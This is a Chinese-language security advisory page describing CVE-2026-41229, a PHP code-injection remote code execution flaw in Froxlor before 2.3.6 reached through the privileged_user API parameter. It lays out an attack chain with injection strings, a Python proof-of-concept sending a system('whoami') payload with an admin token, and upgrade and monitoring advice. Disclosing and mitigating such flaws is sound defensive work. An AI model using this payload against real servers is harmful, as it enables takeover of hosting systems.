IPBUF安全漏洞报告
English
CVE-2026-41229 CVSS 9.1 严重

CVE-2026-41229 Froxlor远程代码执行漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41229
漏洞类型
远程代码执行
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Froxlor

相关标签

远程代码执行代码注入FroxlorCVE-2026-41229RCE

漏洞概述

Froxlor 2.3.6之前版本存在远程代码执行漏洞。由于`PhpHelper::parseArrayToString()`未转义单引号,拥有特定权限的管理员通过API更新MySQL服务器配置时,可将恶意PHP代码注入到`lib/userdata.inc.php`文件中,导致代码在后续请求中被执行。

技术细节

该漏洞源于Froxlor在处理配置写入时的逻辑缺陷。具体来说,`PhpHelper::parseArrayToString()`方法在将数组转换为字符串并存入PHP文件时,未对单引号字符进行转义处理。当具有`change_serversettings`权限的管理员通过API接口添加或更新MySQL服务器配置时,系统会将`privileged_user`参数的值未经验证直接写入`lib/userdata.inc.php`文件。攻击者可以在该参数中构造包含恶意PHP代码的Payload(例如单引号闭合后插入代码)。由于`lib/userdata.inc.php`文件在`Database::getDB()`中被全局包含,导致每次页面请求时都会执行注入的代码,从而实现以Web服务器用户身份的远程代码执行。

攻击链分析

STEP 1
获取权限
攻击者需要获取具有change_serversettings权限的管理员账号凭据。
STEP 2
构造Payload
攻击者构造包含单引号闭合和恶意PHP代码的Payload,例如:', system('id'), //'。
STEP 3
发送恶意请求
攻击者通过API接口发送添加或更新MySQL服务器的请求,将Payload注入到privileged_user参数中。
STEP 4
写入恶意文件
服务器端将未经过滤的参数值写入lib/userdata.inc.php配置文件。
STEP 5
触发代码执行
由于该配置文件在每次请求时被自动加载,攻击者访问任意页面即可触发恶意PHP代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the Froxlor API target_url = "http://example.com/api/admin" # Headers with authentication (Admin token required) headers = { "Authorization": "Bearer <ADMIN_ACCESS_TOKEN>", "Content-Type": "application/json" } # Malicious payload to inject PHP code # Using single quote to break out of the string literal and inject system() call payload = "', 'hacker'); system('whoami'); //'" data = { "action": "update_mysql_server", "mysql_host": "127.0.0.1", "privileged_user": payload } try: response = requests.post(target_url, json=data, headers=headers) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Trigger any page request to execute the injected code.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Froxlor < 2.3.6

防御指南

临时缓解措施
建议立即将Froxlor升级到2.3.6版本以修复此漏洞。如果无法立即升级,应严格限制具有change_serversettings权限的管理员账户,防止凭证泄露导致漏洞被利用。同时,可通过文件监控机制检测userdata.inc.php的异常修改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表